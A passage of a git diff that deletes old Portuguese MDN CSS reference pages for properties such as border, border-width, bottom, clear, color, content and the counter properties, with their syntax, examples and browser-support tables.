-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>
-</li><li> Valor computado: veja as propriedades individuais
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">border-top: [<i>border-width</i> || <i>border-style</i> || <i>border-color</i> | <i>inherit</i>] ;
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> border-width </dt><dd> Veja {{ Cssxref("border-width") }}.
-</dd><dt> border-style </dt><dd> Veja {{ Cssxref("border-style") }}.
-</dd><dt> border-color </dt><dd> Veja {{ Cssxref("border-color") }}.
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre>element {
- border-top: 1px solid #000;
-}
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Se a regra não especificar uma cor de borda, a borda terá a cor especificada pela propriedade {{ Cssxref("color") }}.
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#border-top">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/box.html#propdef-border-top">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a>
-</li></ul>
-<p><span class="comment">== Compatibilidade com navegadores ==</span>
-</p>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("border") }},
-{{ Cssxref("border-top") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border-top", "fr": "fr/CSS/border-top", "pl": "pl/CSS/border-top" } ) }}
diff --git a/files/pt-pt/web/css/border-width/index.html b/files/pt-pt/web/css/border-width/index.html
deleted file mode 100644
index c3cd9915f2..0000000000
--- a/files/pt-pt/web/css/border-width/index.html
+++ /dev/null
@@ -1,112 +0,0 @@
----
-title: border-width
-slug: Web/CSS/border-width
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border-width
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p><code>border-width</code> configura a largura da borda de uma caixa.</p>
-
-<ul>
- <li>Valor inicial: medium</li>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
- <li>Porcentagens: N/A</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">visual</a></li>
- <li>Valor computado: comprimento absoluto; '0' se o estilo da borda for 'none' ou 'hidden'</li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<pre class="eval">border-width: &lt;border-width&gt; {1,4} | inherit
-</pre>
-
-<h3 id="Valores_de_.3Cborder-width.3E" name="Valores_de_.3Cborder-width.3E">Valores de &lt;border-width&gt;</h3>
-
-<dl>
- <dt>thin </dt>
- <dd>Uma borda fina.</dd>
- <dt>medium </dt>
- <dd>Uma borda média.</dd>
- <dt>thick </dt>
- <dd>Uma borda grossa.</dd>
- <dt>&lt;length&gt; </dt>
- <dd>A espessura da borda tem um valor explícito. Valores explícitos de borda não podem ser negativos.</dd>
- <dt>&lt;percentage&gt; </dt>
- <dd>A espessura da borda tem um valor em porcentagem, porcentagens da largura do bloco em que está contida. Larguras explícitas de borda não podem ser negativos.</dd>
-</dl>
-
-<p>Nota: Um valor <code>em</code> também é suportado.</p>
-
-<h3 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h3>
-
-<ul>
- <li>{{ Cssxref("border-bottom-width") }}</li>
- <li>{{ Cssxref("border-left-width") }}</li>
- <li>{{ Cssxref("border-right-width") }}</li>
- <li>{{ Cssxref("border-top-width") }}</li>
-</ul>
-
-<p> </p>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/border.html">View Live Examples</a></p>
-
-<pre>element {
- border-width: thin;
- border-style: solid;
- border-color: #000;
-}
-</pre>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS1#border-width">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/box.html#border-width-properties">CSS 2.1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/css3-background/#border-width">CSS 3</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td> </td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td> </td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td> </td>
- </tr>
- <tr>
- <td>Opera</td>
- <td> </td>
- </tr>
- </tbody>
-</table>
-
-<p> </p>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("border") }}, {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/border-width", "fr": "fr/CSS/border-width" } ) }}</p>
diff --git a/files/pt-pt/web/css/border/index.html b/files/pt-pt/web/css/border/index.html
deleted file mode 100644
index 7110cc6c8d..0000000000
--- a/files/pt-pt/web/css/border/index.html
+++ /dev/null
@@ -1,51 +0,0 @@
----
-title: border
-slug: Web/CSS/border
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/border
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>border</code> é uma propriedade para ajustar os valores de propriedades individuais da borda em um único elemento na folha do estilo. <code>border</code> pode ser usado com as seguintes propriedades adicionais: {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, {{ Cssxref("border-color") }}.
-</p>
-<ul><li> Valor inicial: veja propriedades individuais para detalhes;
-</li><li> Aplica-se a: todos elementos;
-</li><li> Herdado: não;
-</li><li> Porcentagem: N/A;
-</li><li> Mídia: <a href="pt/CSS/Media/Visual">visual</a>;
-</li><li> Valor computado: veja propriedades individuais para detalhes.
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">border: [<i>border-width</i> || <i>border-style</i> || <i>border-color</i> | <i>inherit</i>] ;
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> border-width</dt><dd> Ver {{ Cssxref("border-width") }}.
-</dd><dt> border-style </dt><dd> Ver {{ Cssxref("border-style") }}.
-</dd><dt> border-color </dt><dd> Ver {{ Cssxref("border-color") }}.
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<p><a class="external" href="http://developer.mozilla.org/samples/cssref/border.html">Exemplos</a>
-</p>
-<pre>elemento {
- border: 1px solid #000;
-}
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>Quando as propriedades {{ Cssxref("border-width") }}, {{ Cssxref("border-style") }}, e {{ Cssxref("border-color") }} aceitarem acima de quatro valores, esta propriedade aceitará somente um valor para cada propriedade.
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#border">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/box.html#box-border-area">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/css3-background/#the-border-shorthands">CSS 3</a>
-</li></ul>
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores"> Compatibilidade com navegadores </h3>
-<table class="standard-table"> <tbody><tr> <th>Navegador</th> <th>Versões mais antigas</th> </tr> <tr> <td>Internet Explorer</td> <td>4</td> </tr> <tr> <td>Firefox</td> <td>1</td> </tr> <tr> <td>Netscape</td> <td>4</td> </tr> <tr> <td>Opera</td> <td>3.5</td> </tr>
-</tbody></table>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("border") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/border", "fr": "fr/CSS/border", "pl": "pl/CSS/border" } ) }}
diff --git a/files/pt-pt/web/css/bottom/index.html b/files/pt-pt/web/css/bottom/index.html
deleted file mode 100644
index 2aa2e1e2f7..0000000000
--- a/files/pt-pt/web/css/bottom/index.html
+++ /dev/null
@@ -1,81 +0,0 @@
----
-title: bottom
-slug: Web/CSS/bottom
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/bottom
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>The <code>bottom</code> property specifies part of the position of positioned elements.
-</p><p>For absolutely positioned elements (those with <code>position: absolute</code> or <code>position: fixed</code>), it specifies the distance between the bottom margin edge of the element and the bottom edge of its containing block.
-</p><p>For relatively positioned elements (those with <code>position: relative</code>), it specifies the amount the element is moved above its normal position. However, the {{ Cssxref("top") }} property overrides the bottom property, so if <code>top</code> is not <code>auto</code>, the computed value of <code>bottom</code> is the negative of the computed value of <code>top</code>.
-</p>
-<ul><li> Valor inicial: auto
-</li><li> Aplica-se a: elementos posicionados
-</li><li> Herdado: não
-</li><li> Porcentagens: referente à altura do bloco que o contêm.
-</li><li> Mídia: <a href="pt/CSS/Media/visual">visual</a>
-</li><li> Valor computado: comprimento absoluto, porcentagem ou automático
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval"> bottom: &lt;length&gt; | &lt;percentage&gt; | auto | inherit
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> &lt;length&gt; </dt><dd> A length, used as described in the <a href="#Summary">summary</a>. Can be negative, zero, or positive.
-</dd><dt> &lt;percentage&gt; </dt><dd> A percentage of the containing block's height, used as described in the <a href="#Summary">summary</a>.
-</dd><dt> <code>auto</code> </dt><dd> For absolutely positioned elements, position the element based on the {{ Cssxref("top") }} property and treat <code>height: auto</code> as a height based on the content. For relatively positioned elements, offset the element from its original position based on the {{ Cssxref("top") }} property, or if <code>top</code> is also <code>auto</code>, do not offset it at all.
-</dd><dt> <code>inherit</code> </dt><dd> Inherits the computed value from its parent element (which may not be its containing block). This computed value is then handled like it was a &lt;length&gt;, a &lt;percentage&gt;, or <code>auto</code>
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<pre>element {
- position: absolute;
- bottom: 20px;
- height: 200px;
- border: 1px solid #000;
-}
-</pre>
-<p>The following sample page contrasts <code>position:absolute</code> and <code>position:fixed</code>. When the regular text becomes taller than the viewable portion of the page (the browser window's viewport), blocks positioned with <code>position:absolute</code> will scroll with the page, while blocks positioned with <code>position:fixed</code> will not. Note that IE6 does not support <code>position:fixed</code>.
-</p>
-<pre>&lt;!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN"
- "http://www.w3.org/TR/html4/strict.dtd"&gt;
-&lt;html&gt;
-&lt;head&gt;
-&lt;meta http-equiv="content-type" content="text/html; charset=iso-8859-1"&gt;
-&lt;title&gt;Position at bottom, absolute or fixed&lt;/title&gt;
-&lt;style type="text/css"&gt;
-p {font-size:30px; line-height:3em;}
-div.pos {width:49%; text-align:center; border:2px solid #00f;}
-div#abs {position:absolute; bottom:0; left:0;}
-div#fix {position:fixed; bottom:0; right:0;}
-&lt;/style&gt;
-&lt;/head&gt;
-&lt;body&gt;
- &lt;p&gt;This&lt;br&gt;is&lt;br&gt;some&lt;br&gt;tall,&lt;br&gt;tall,
- &lt;br&gt;tall,&lt;br&gt;tall,&lt;br&gt;tall&lt;br&gt;content.&lt;/p&gt;
- &lt;div id="fix" class="pos"&gt;&lt;p&gt;Fixed&lt;/p&gt;&lt;/div&gt;
- &lt;div id="abs" class="pos"&gt;&lt;p&gt;Absolute&lt;/p&gt;&lt;/div&gt;
-&lt;/body&gt;
-&lt;/html&gt;</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<p>For absolutely positioned elements whose containing block is based on a block-level element, this property is an offset from the padding edge of that element.
-</p><p>For absolutely positioned elements, the <code>bottom</code> property has no visible effect when all of {{ Cssxref("top") }}, {{ Cssxref("height") }}, and {{ Cssxref("margin-top") }} are <i>not</i> <code>auto</code> (which is the default value for <code>top</code> and <code>height</code>).
-</p>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-bottom">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/Style/CSS/current-work#positioning">CSS 3</a>
-</li></ul>
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores"> Compatibilidade com navegadores </h3>
-<span class="comment">This is as far back as the documentaion goes.</span><table class="standard-table"> <tbody><tr> <th>Navegador</th> <th>Versão mais antiga</th> </tr> <tr> <td>Internet Explorer</td> <td>5</td> </tr> <tr> <td>Firefox</td> <td>1</td> </tr> <tr> <td>Netscape</td> <td>6</td> </tr> <tr> <td>Opera</td> <td>6</td> </tr>
-</tbody></table>
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m"> Veja também </h3>
-<p>{{ Cssxref("bottom") }},
-{{ Cssxref("position") }},
-{{ Cssxref("top") }},
-{{ Cssxref("left") }},
-{{ Cssxref("right") }}
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/bottom", "fr": "fr/CSS/bottom", "pl": "pl/CSS/bottom" } ) }}
diff --git a/files/pt-pt/web/css/clear/index.html b/files/pt-pt/web/css/clear/index.html
deleted file mode 100644
index 8fcfd728ca..0000000000
--- a/files/pt-pt/web/css/clear/index.html
+++ /dev/null
@@ -1,93 +0,0 @@
----
-title: clear
-slug: Web/CSS/clear
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/clear
----
-<p>{{ CSSRef() }}</p>
-
-<h3 id="Resumo" name="Resumo">Resumo</h3>
-
-<p>A propriedade<em>clear</em> especifica se um elemento deve ser posicionado ao lado dos elementos <a href="pt/CSS/float">flutuantes</a> ou se devem ser colocados abaixo deles, "forçando" os elementos com float para cima.</p>
-
-<ul>
- <li>Valor inicial: nenhum;</li>
- <li>Aplica-se a: elementos de bloco de nível (incluindo flutuantes);</li>
- <li>Herdado: não;</li>
- <li>Mídia: <a href="pt/CSS/Media/Visual">Visual</a></li>
-</ul>
-
-<h3 id="Sintaxe" name="Sintaxe">Sintaxe</h3>
-
-<p>clear: none | left | right | both | <a href="pt/CSS/inherit">inherit</a></p>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<ul>
- <li><strong>none</strong> : O elemento<em>não</em> é abaixado para o espaço livre após elementos flutuantes.</li>
- <li><strong>left</strong> : O elemento é movido abaixo dos elementos que estão com float a<em>esquerda</em>.</li>
- <li><strong>right</strong> : O elemento é movido abaixo dos elementos que estão com float a<em>direita</em>.</li>
- <li><strong>both</strong> : O elemento é abaixado para o espaço livre após elementos flutuando à<em>esquerda</em> e à<em>direita</em>.<em>Both</em> signifca<em>Ambos</em>.</li>
-</ul>
-
-<h3 id="Exemplos" name="Exemplos">Exemplos</h3>
-
-<p><a href="/samples/cssref/clear.html">View Live Examples</a></p>
-
-<pre>h1 { clear: none }
-h2 { clear: right }</pre>
-
-<h3 id="Notas" name="Notas">Notas</h3>
-
-<p>The clear property applies to both floating and non-floating elements.</p>
-
-<p>When it applies to non-floating blocks, it moves the <a href="pt/CSS/box_edges">border edge</a> of the element down until it is below the <a href="pt/CSS/box_edges">margin edge</a> of all relevant floats. This movement (when it happens) causes <a href="pt/CSS/margin_collapsing">margin collapsing</a> not to occur.</p>
-
-<p>When it applies to floating elements, it moves the <a href="pt/CSS/box_edges">margin edge</a> of the element below the <a href="pt/CSS/box_edges">margin edge</a> of all relevant floats. This affects the position of later floats, since later floats cannot be positioned higher than earlier ones.</p>
-
-<p>The floats that are relevant to be cleared are the earlier floats within the same <a href="pt/CSS/block_formatting_context">block formatting context</a>.</p>
-
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h3>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/REC-CSS1#clear">CSS 1</a></li>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/visuren.html#propdef-clear">CSS 2.1</a></li>
-</ul>
-
-<h3 id="Compatibilidade_com_navegadores" name="Compatibilidade_com_navegadores">Compatibilidade com navegadores</h3>
-
-<table class="standard-table">
- <tbody>
- <tr>
- <th>Navegador</th>
- <th>Versão mais antiga</th>
- </tr>
- <tr>
- <td>Internet Explorer</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Firefox</td>
- <td>1</td>
- </tr>
- <tr>
- <td>Netscape</td>
- <td>4</td>
- </tr>
- <tr>
- <td>Mozilla</td>
- <td>1</td>
- </tr>
- </tbody>
-</table>
-
-<h3 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h3>
-
-<p>{{ Cssxref("float") }}, {{ Cssxref("clear") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
-
-<p>{{ languages( { "en": "en/CSS/clear", "fr": "fr/CSS/clear", "pl": "pl/CSS/clear" } ) }}</p>
diff --git a/files/pt-pt/web/css/color/index.html b/files/pt-pt/web/css/color/index.html
deleted file mode 100644
index bd7fe973b2..0000000000
--- a/files/pt-pt/web/css/color/index.html
+++ /dev/null
@@ -1,47 +0,0 @@
----
-title: color
-slug: Web/CSS/color
-tags:
- - Referencia_CSS
-translation_of: Web/CSS/color
----
-<p>
-{{ CSSRef() }}
-</p>
-<h3 id="Resumo" name="Resumo"> Resumo </h3>
-<p>A propriedade <code>color</code> ajusta a cor de primeiro plano de um texto contido no elemento.
-</p>
-<ul><li> Valor inicial: depende do agente do usuário;
-</li><li> Aplica-se a: todos elementos;
-</li><li> Herdado: sim;
-</li><li> Porcentagens: N/A;
-</li><li> {{ Cssxref("@media") }}: <a href="pt/CSS/Media/Visual">visual</a>;
-</li><li> Valor computado: como especificado.
-</li></ul>
-<h3 id="Sintaxe" name="Sintaxe"> Sintaxe </h3>
-<pre class="eval">border-bottom-color: <i>color</i> | inherit
-</pre>
-<h3 id="Valores" name="Valores"> Valores </h3>
-<dl><dt> color </dt><dd> O <code>color</code> pode ser especificado como valor hexadecimal RGB, valor RGB regular, ou usando as cores pre-definidas.
-</dd></dl>
-<h3 id="Exemplos" name="Exemplos"> Exemplos </h3>
-<p>As maneiras seguintes são todas um exemplo de como deixar um elemento de texto com a cor vermelho:
-</p>
-<pre>element { color: red }
-element { color: #f00 }
-element { color: #ff0000 }
-element { color: rgb(255,0,0) }
-element { color: rgb(100%, 0%, 0%) }
-</pre>
-<h3 id="Notas" name="Notas"> Notas </h3>
-<ul><li> <a class="external" href="http://html-color-codes.com/">Color Chart by VisiBone</a>
-</li></ul>
-<h3 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es"> Especificações </h3>
-<ul><li> <a class="external" href="http://www.w3.org/TR/CSS1#color">CSS 1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/CSS21/colors.html#propdef-color">CSS 2.1</a>
-</li><li> <a class="external" href="http://www.w3.org/TR/2003/CR-css3-color-20030514/#color">CSS 3</a>
-</li></ul>
-<p><span class="comment">== Compatibilidade com navegadores ==</span>
-</p><p><span class="comment">Categorias</span>
-</p><p><span class="comment">Interwiki Language Links</span>
-</p>{{ languages( { "en": "en/CSS/color", "fr": "fr/CSS/color", "pl": "pl/CSS/color" } ) }}
diff --git a/files/pt-pt/web/css/content/index.html b/files/pt-pt/web/css/content/index.html
deleted file mode 100644
index cc627821d8..0000000000
--- a/files/pt-pt/web/css/content/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: content
-slug: Web/CSS/content
-translation_of: Web/CSS/content
----
-<p><span class="lang lang-pt">« <a href="/pt/Refer%c3%aancia_CSS" title="https://developer.mozilla.org/pt/Referência_CSS">Referência CSS</a></span></p>
-<h3 id="Resumo">Resumo</h3>
-<p>A propriedade <code>content</code> é usada com os pseudo-elementos <a href="/pt/CSS/%3abefore" title="pt/CSS/:before"><code>:before</code></a> e <a href="/pt/CSS/:after" title="pt/CSS/:after"><code>:after</code></a> para gerar conteúdo com o elemento.</p>
-<ul> <li>Valor inicial: <code>normal</code></li> <li>Aplica-se a: Pseudo-elementos <code>:before</code> e <code>:after</code></li> <li>Herdado: não</li> <li>Mídia: todas</li> <li>Valor computado: <ul> <li>Em <code>:before</code> e <code>:after</code>, <code>normal</code> é computado como <code>none</code></li> <li>Para elementos sempre é computado como <code>normal</code></li> <li>Endereços são convertidos para absolutos</li> <li>Quando for <code>attr()</code>, o valor será o mesmo do atributo escolhido</li> <li>Para outras, fica como o especificado</li> </ul> </li>
-</ul>
-<h3 id="Sintáxe">Sintáxe</h3>
-<pre>content: normal | none |
- [ &lt;string&gt; | &lt;uri&gt; | &lt;counter&gt; | attr() |
- open-quote | close-quote | no-open-quote | no-close-quote ]+ | inherit
-</pre>
-<h3 id="Valores">Valores</h3>
-<dl> <dt>none</dt> <dd>O pseudo-elemento não é gerado.</dd> <dt>normal</dt> <dd>Computado como<code> none </code>para os pseudo-elementos <code>:before</code> e <code>:after</code>.</dd> <dt>&lt;string&gt;</dt> <dd>Conteúdo de texto.</dd> <dt>&lt;uri&gt;<code> url()</code></dt> <dd>O valor especifica um recurso externo (como uma imagem). Se o recurso não puder ser exibido, ele é ignorado ou um marcador aparece em seu lugar.</dd> <dt>&lt;counter&gt;</dt> <dd>Contadores podem ser especificados como duas funções: 'counter()' ou 'counters()'. O primeiro tem duas formas: 'counter(<var>name</var>)' ou 'counter(<var>name</var>, <var>style</var>)'. <span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The generated text is the value of the innermost counter of the given name in scope at this pseudo-element; it is formatted in the indicated style ('decimal' by default).">O texto gerado é o valor do contador de intimidades de o nome dado no âmbito deste pseudo-elemento, que é formatado no estilo indicado</span></span> ('decimal' por padrão).A segunda também tem duas formas: 'counters(<var>name</var>, <var>string</var>)' ou 'counters(<var>name</var>, <var>string</var>, <var>style</var>)'. <span class="long_text" id="result_box"><span style="background-color: rgb(255, 255, 255);" title="The generated text is the value of all counters with the given name in scope at this pseudo-element, from outermost to innermost separated by the specified string.">O texto gerado é o valor de todos os contadores com o nome dado no âmbito deste pseudo-elemento, a partir ultraperiféricas intimidades separadas pela seqüência especificada</span></span>. Os contadores são testados da maneira indicada ('decimal' por padrão). Veja a seção contadores automáticos e numeração para mais informação. O nome não pode ser 'none', 'inherit' ou 'initial'. Isso faz com que a função seja ignorada.</dd> <dt>attr(X)</dt> <dd>Retorna o valor da propriedade X do elemento. Se não existir a propriedade X, será retornado um texto vazio. A diferenciação entre maiúsculas e minúsculas depende do idioma do documento.</dd> <dt>open-quote | close-quote</dt> <dd>Esses valores são trocadas pelo texto apropriado da propriedade <code><a href="/pt/CSS/quotes" rel="custom nofollow" title="pt/CSS/quotes">quotes</a></code>.</dd> <dt>no-open-quote | no-close-quote</dt> <dd>Não introduz conteúdo, previne a inserção em um elemento de um <code>open-quote</code> ou <code>close quote</code>.</dd>
-</dl>
diff --git a/files/pt-pt/web/css/counter-increment/index.html b/files/pt-pt/web/css/counter-increment/index.html
deleted file mode 100644
index 43197dba12..0000000000
--- a/files/pt-pt/web/css/counter-increment/index.html
+++ /dev/null
@@ -1,66 +0,0 @@
----
-title: counter-increment
-slug: Web/CSS/counter-increment
-tags:
- - CSS
- - CSS List
- - CSS Property
- - Reference
-translation_of: Web/CSS/counter-increment
----
-<p>{{ CSSRef() }}</p>
-
-<h2 id="Resumo" name="Resumo">Resumo</h2>
-
-<p><code>counter-increment</code> é usado para aumentar o valor de <a href="pt/CSS_Counters">CSS Counters</a> com um valor dado.</p>
-
-<p>{{cssinfo}}</p>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<pre class="eval">counter-increment: [&lt;identifier&gt; &lt;integer&gt;?]+ | inherit | none
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>identifier </dt>
- <dd>O nome do contador para incrementar.</dd>
- <dt>integer </dt>
- <dd>O valor para adicionar ao contador. O padrão é 1 se nada for dado.</dd>
-</dl>
-
-<p>Você pode especificar como muitos contadores para incrementar como você quiser, cada um separado por um espaço.</p>
-
-<h2 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h2>
-
-<ul>
- <li><a href="pt/CSS/counter-reset">counter-reset</a> reinicia os <a href="pt/CSS_Counters">CSS Counters</a> especificados a uma quantidade dada.</li>
-</ul>
-
-<h2 id="Exemplos" name="Exemplos">Exemplos</h2>
-
-<pre>h1 {
- counter-increment: chapter section 2 page;
- /* Aumenta o valor dos contadores de capítulo e página em 1
- e o contador da seção em 2. */
-}
-</pre>
-
-<p><span class="comment">== Notas ==</span></p>
-
-<h2 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-counter-increment">CSS 2.1</a></li>
-</ul>
-
-<p><span class="comment">== Compatibilidade com navegadores ==</span></p>
-
-<h2 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h2>
-
-<p><a href="pt/CSS_Counters">CSS Counters</a>, {{ Cssxref("counter-increment") }}, {{ Cssxref("counter-reset") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/web/css/counter-reset/index.html b/files/pt-pt/web/css/counter-reset/index.html
deleted file mode 100644
index 709c4f8112..0000000000
--- a/files/pt-pt/web/css/counter-reset/index.html
+++ /dev/null
@@ -1,69 +0,0 @@
----
-title: counter-reset
-slug: Web/CSS/counter-reset
-tags:
- - CSS
- - CSS List
- - CSS Property
- - CSS Reference
-translation_of: Web/CSS/counter-reset
----
-<p>{{ CSSRef() }}</p>
-
-<h2 id="Resumo" name="Resumo">Resumo</h2>
-
-<p><code>counter-reset</code> é usado para reiniciar os <a href="pt/CSS_Counters">CSS Counters</a> a um valor dado.</p>
-
-<ul>
- <li>Aplica-se a: todos os elementos</li>
- <li>Herdado: não</li>
-</ul>
-
-<h2 id="Sintaxe" name="Sintaxe">Sintaxe</h2>
-
-<pre class="eval">counter-reset: [&lt;identifier&gt; &lt;integer&gt;?]+ | inherit | none
-</pre>
-
-<h3 id="Valores" name="Valores">Valores</h3>
-
-<dl>
- <dt>identifier </dt>
- <dd>O nome do contador para reiniciar.</dd>
- <dt>integer </dt>
- <dd>O valor para reiniciar o contador para cada ocorrência do elemento. O padrão é 0 se nada for dado.</dd>
-</dl>
-
-<p>Você pode especificar como muitos contadores para reiniciar quando você quiser, cada um separado por um espaço.</p>
-
-<h2 id="Propriedades_relacionadas" name="Propriedades_relacionadas">Propriedades relacionadas</h2>
-
-<ul>
- <li><a href="pt/CSS/counter-increment">counter-increment</a> aumenta o valor dos <a href="pt/CSS_Counters">CSS Counters</a> especificados a uma quantidade dada.</li>
-</ul>
-
-<h2 id="Exemplos" name="Exemplos">Exemplos</h2>
-
-<pre>h1 {
- counter-reset: chapter section 1 page;
- /* Configura os contadores de capítulo e página em 0
- e o contador da seção em 1. */
-}
-</pre>
-
-<p><span class="comment">== Notas ==</span></p>
-
-<h2 id="Especifica.C3.A7.C3.B5es" name="Especifica.C3.A7.C3.B5es">Especificações</h2>
-
-<ul>
- <li><a class="external" href="http://www.w3.org/TR/CSS21/generate.html#propdef-counter-reset">CSS 2.1</a></li>
-</ul>
-
-<p><span class="comment">== Browser compatibility ==</span></p>
-
-<h2 id="Veja_tamb.C3.A9m" name="Veja_tamb.C3.A9m">Veja também</h2>
-
-<p><a href="pt/CSS_Counters">CSS Counters</a>, {{ Cssxref("counter-increment") }}, {{ Cssxref("counter-reset") }}</p>
-
-<p><span class="comment">Categorias</span></p>
-
-<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/pt-pt/web/css/css_backgrounds_and_borders/index.html b/files/pt-pt/web/css/css_backgrounds_and_borders/index.html
deleted file mode 100644
index 3c843d9d45..0000000000
--- a/files/pt-pt/web/css/css_backgrounds_and_borders/index.html
+++ /dev/null
@@ -1,156 +0,0 @@
----
-title: CSS Background and Borders
-slug: Web/CSS/CSS_Backgrounds_and_Borders
-tags:
- - CSS
- - CSS Backgrounds and Borders
- - CSS Reference
- - NeedsTranslation
- - Overview
- - TopicStub
-translation_of: Web/CSS/CSS_Backgrounds_and_Borders
-translation_of_original: Web/CSS/CSS_Background_and_Borders
-original_slug: Web/CSS/CSS_Background_and_Borders
----
-<p>{{CSSRef}}</p>
-
-<p><strong>CSS Background and Borders</strong> is a module of CSS that defines how background and borders of elements are described. Borders can be lines or images, boxes can have one or multiple backgrounds, have rounded corners, and shadows.</p>
-
-<h2 id="Reference">Reference</h2>
-
-<h3 id="CSS_Properties">CSS Properties</h3>
-
-<div class="index">
-<ul>
- <li>{{cssxref("background")}}</li>
- <li>{{cssxref("background-attachment")}}</li>
- <li>{{cssxref("background-clip")}}</li>
